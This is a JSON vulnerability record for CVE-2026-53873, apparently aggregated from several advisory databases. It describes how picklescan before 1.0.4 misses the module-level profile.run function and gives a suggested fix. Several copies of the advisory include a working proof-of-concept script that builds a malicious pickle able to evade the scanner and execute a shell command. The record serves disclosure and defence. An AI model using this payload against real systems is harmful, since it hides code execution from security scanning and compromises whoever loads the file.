{"id":"CVE-2026-53873","aliases":["EUVD-2026-37739","GHSA-4mpj-78p6-rj59","GHSA-7wx9-6375-f5wh","PYSEC-2026-455"],"status":"published","title":"picklescan - Arbitrary Code Execution via profile.run() Blocklist Bypass","description":"picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.0046,"percentile":0.40121,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-184","CWE-697"],"published":"2026-03-03T20:03:35Z","modified":"2026-11-08T14:05:10Z","fixes":[{"ecosystem":"PyPI","package":"picklescan","fixed_in":["1.0.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4"}]}]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.2","1.0.3"]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.2","1.0.3"]}],"products":[{"vendor":"mmaitre314","product":"picklescan"},{"vendor":"picklescan","product":"picklescan"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53873","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4mpj-78p6-rj59"},{"url":"https://github.com/advisories/GHSA-7wx9-6375-f5wh","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53873.json","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"]},{"url":"https://pypi.org/project/picklescan","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-53873","title":"picklescan - Arbitrary Code Execution via profile.run() Blocklist Bypass","description":"picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.","status":"published","published":"2026-06-17T15:05:02.886Z","modified":"2026-11-08T14:05:10.917Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-184"],"updated_at":"2026-11-08T15:43:33.322657Z"}],"euvd":[{"id":"EUVD-2026-37739","description":"picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.","status":"published","published":"2026-06-17T15:05:02Z","modified":"2026-11-08T14:05:10Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-08T15:13:08.252361Z"}],"ghsa":[{"id":"GHSA-4mpj-78p6-rj59","title":"Duplicate Advisory: PickleScan's profile.run blocklist mismatch allows exec() bypass","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7wx9-6375-f5wh. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.","status":"withdrawn","published":"2026-06-17T18:35:57Z","modified":"2026-06-18T14:43:10Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:40:29.43528Z"},{"id":"GHSA-7wx9-6375-f5wh","title":"PickleScan's profile.run blocklist mismatch allows exec() bypass","description":"## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** — Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n\n- picklescan v1.0.3 (latest — the profile entries were added in recent versions)\n- Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact — there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python's Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n    prof = Profile()\n    try:\n        prof.run(statement)  # Calls exec(statement)\n    except SystemExit:\n        pass\n    ...\n```\n\n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# profile.run(\"import os; os.system('id')\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 60)\n    + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n    + sbu(\"import os; os.system('id')\")\n    + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs exec(\"import os; os.system('id')\") → RCE\npickle.loads(payload)\n```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n|--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO — `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO — `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n\n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n\n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function — calls `exec()`","status":"published","published":"2026-03-03T20:03:35Z","modified":"2026-06-18T14:43:21Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-184","CWE-697"],"updated_at":"2026-11-02T14:40:29.43528Z"}],"nvd":[{"id":"CVE-2026-53873","description":"picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.","status":"published","published":"2026-06-17T17:17:25.607Z","modified":"2026-06-17T20:21:59.863Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:12:24.544761Z"}],"osv":[{"id":"CVE-2026-53873","title":"picklescan - Arbitrary Code Execution via profile.run() Blocklist Bypass","description":"picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.","status":"published","published":"2026-06-17T15:05:02.886Z","modified":"2026-11-09T02:30:37.077108504Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-184"],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"GHSA-4mpj-78p6-rj59","title":"Duplicate Advisory: PickleScan's profile.run blocklist mismatch allows exec() bypass","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7wx9-6375-f5wh. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.","status":"withdrawn","published":"2026-06-17T18:35:57Z","modified":"2026-09-10T03:50:48.072242134Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:46:37.148947Z"},{"id":"GHSA-7wx9-6375-f5wh","title":"PickleScan's profile.run blocklist mismatch allows exec() bypass","description":"## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** — Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n\n- picklescan v1.0.3 (latest — the profile entries were added in recent versions)\n- Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact — there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python's Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n    prof = Profile()\n    try:\n        prof.run(statement)  # Calls exec(statement)\n    except SystemExit:\n        pass\n    ...\n```\n\n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# profile.run(\"import os; os.system('id')\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 60)\n    + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n    + sbu(\"import os; os.system('id')\")\n    + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs exec(\"import os; os.system('id')\") → RCE\npickle.loads(payload)\n```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n|--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO — `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO — `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n\n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n\n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function — calls `exec()`","status":"published","published":"2026-03-03T20:03:35Z","modified":"2026-06-29T12:26:11.902537896Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-184","CWE-697"],"updated_at":"2026-11-02T15:46:41.732368Z"},{"id":"PYSEC-2026-455","title":"PickleScan's profile.run blocklist mismatch allows exec() bypass","description":"## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** — Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n \n- picklescan v1.0.3 (latest — the profile entries were added in recent versions)\n - Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n ### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact — there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python's Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n    prof = Profile()\n    try:\n        prof.run(statement)  # Calls exec(statement)\n    except SystemExit:\n        pass\n    ...\n```\n \n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# profile.run(\"import os; os.system('id')\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 60)\n    + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n    + sbu(\"import os; os.system('id')\")\n    + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs exec(\"import os; os.system('id')\") → RCE\npickle.loads(payload)\n ```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n |--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO — `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO — `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n \n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n \n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function — calls `exec()`","status":"published","published":"2026-06-29T11:50:45.494556Z","modified":"2026-07-01T20:22:59.991064Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:57.671918Z"}]}}
